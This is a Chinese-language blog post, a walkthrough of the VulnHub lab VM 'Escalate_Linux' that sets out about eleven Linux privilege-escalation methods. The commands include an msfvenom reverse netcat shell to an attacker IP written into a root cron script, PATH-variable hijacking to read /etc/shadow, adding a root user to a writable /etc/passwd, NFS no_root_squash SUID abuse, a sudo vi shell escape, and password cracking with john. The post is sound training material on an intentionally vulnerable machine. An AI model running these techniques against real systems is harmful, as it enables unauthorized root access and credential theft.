本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
大余安全
大家好,这里是 大余安全 的第 44 篇文章,本公众号会每日分享攻防渗透技术给大家。
靶机地址:https://www.vulnhub.com/entry/escalate_linux-1,323/
靶机难度:初级(CTF)
靶机发布日期:2019 年 6 月 30 日
靶机描述:
Escalate_Linux - 一种有意开发的易受攻击的 Linux 虚拟机。该计算机的主要重点是学习 Linux Post Exploitation(特权升级)技术。
“Escalate_Linux” Linux 易受攻击的虚拟机包含与之不同的功能。
12 种以上特权升级方式
垂直特权升级
横向特权升级
多级特权升级
目标:得到 root 权限 & 找到 flag.txt
请注意:对于所有这些计算机,我已经使用 VMware 运行下载的计算机。我将使用 Kali Linux 作为解决该 CTF 的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
看介绍说有 12 种左右的方法提权????
我们在 VM 中需要确定攻击目标的 IP 地址,需要使用 nmap 获取目标 IP 地址:
我们已经找到了此次 CTF 目标计算机 IP 地址:192.168.182.142
开放了挺多端口... 一个一个往下渗透吧...
默认的 apache 页面... 针对 apache,我直接爆破 php... 应该是存在的...
dirb http://192.168.182.142 -X .php
找到了 shell.php,进去看看...
可以执行 cmd 命令??试试
果然可以... 权限 user6... 这里有 3 种方法可以提权到 user6... 我直接最简单的了,看我前面章节也知道复现过很多这种场景...(当然有更多方法请老哥指导)
利用了 MSF 创建了反向 shell,然后将 shell 进行 URL 编码...
在 web 链接输入,即可提权...
进来后,更快的发现漏洞枚举用户... 我使用 LinEnum 工具... 上传它
到 tmp 目录成功上传了... 执行
可以看到存在八个用户......
在 crontab 中,每 5 分钟使用 root 特权运行 autoscript.sh 文件...
看到 / etc/passwd 对用户也是可写的,还发现可以使用 root 特权运行 shell 和脚本文件,在其上启用了 SUID 位...
通过 LinEnum 工具把应该能发现的漏洞都体现出来了... 这边开始提权...
python -c 'import pty;pty.spawn("/bin/bash")'
二、提权
方法 1
find / -perm -u=s -type f 2>/dev/null
user3 用户可执行 shell 提权...
使用 find 命令,可以确认,可以使用 root 特权执行位于 user3 主目录中的 shell 文件,成功提权 root...
方法 2
前面 LinEnum 工具发现可以使用 root 特权执行位于 user5 主目录中的脚本文件,使用 Path 变量利用方法,可以访问 / etc/shadow 文件...
学习关路径变量特权升级:
[链接](https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/)
可以看到我这边没成功... 该脚本执行的时候应该会以 root 身份执行,然后加载环境变量,执行 cat /etc/shadow 命令,这样的话我们就能够拿到 root 身份的密码值,然后使用 john 破解即可... 但是没成功,我检查下...
nmap 前面发现了 2049 端口 NFS 打开着,我通过 NFS 把 script 放到本地检查下...(NFS 前面章节也讲过)
不必看输入错的字符... 尴尬... 是 ELF 64-bit 这边用 GDB 分析下... 我需要在 64 位 kali 上分析...
分析了一圈... 发现二进制文件 script 是基于 ls 文件执行...
可以看到本身文件脚本不执行任何操作的...
只需要针对 ls 加载环境变量即可... 成功提权...
方法 3
在前面的截图中,有看到在 crontab 中,每 5 分钟使用 root 特权运行 autoscript.sh 文件...
借鉴方法 2,使用相同的脚本文件,可以借助 Path 变量方法更改所有用户的密码...
使用 echo 和 chpasswd 命令将现有密码替换为新密码 12345... 然后使用 su 命令切换到 user4 帐户...
在桌面文件夹中看到文件 autoscript.sh....
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.182.141 lport=8888 R
echo "shellcode" > autoscript.sh
将代码复制到 autoscript.sh 文件后,执行该文件,并在 kali 上启动了 netcat 侦听器,等待 shell 即可...
成功获得 root...
方法 4
使用与上述相同的方法将所有用户的密码更改为 12345,并在用户之间切换来检查更多漏洞,发现 user8 对 vi 编辑器具有 sudo 权限...
准备使用 sudo 打开 vi 编辑器,并插入 sh 命令...
输入:!sh,获得了 root shell...
方法 5
继续进行用户枚举,发现 user7 是 gid 为 0 的根组的成员...
从 LinEnum 扫描中知道 / etc/passwd 文件对于用户是可写的,user7 可以编辑 / etc/passwd 文件...
openssl passwd -1 -salt ignite dayu
在 kali 机器中复制了 / etc/passwd 文件的内容,并创建了一个具有 root 特权的名为 dayu 的新用户,并使用 openssl 为该用户生成了密码...
使用 dayu 用户登录即可... 提权成功...
方法 6
前面也提过了 nmap 发现了 NFS 共享开放着
通过 LinEnum 工具也发现了安装点的存在...
/home/user5 *(rw,no_root_squash)
将 user5 通过 NFS 共享到本地...
创建一个 SUID,执行即可....
方法 7
从 LinEnum 扫描中知道 mysql 可以利用...
密码默认 root....
通过挖掘数据库发现了 mysql 用户,密码是
mysql@12345
在数据库中看到了 user1~8 用户的密码... 继续找下
在 secret 文件中查看到了 root 密码...
方法 8
提权成功....
方法 9
检查组权限时,发现在根组下找到 user4 和 user7... 意思是 user4 和 user7 可以修改 / etc/passwd 文件...
方法和方法 5 一样执行即可提权... 修改 passwd
方法 10
在 / home/user3 下,发现了 script.sh 文件... 和方法 1 一样提权即可.....
方法 11
收集 / etc/shadow 文件,并使用 john 中自带密码库进行爆破即可... 思路其实就是和方法 2 的思路一样...
这里差不多了... 方法 12 应该是 user1 直接提权... 有些方法比较直接...
由于我们已经成功得到 root 权限,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。
如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~
欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!
大余安全
一个全栈渗透小技巧的公众号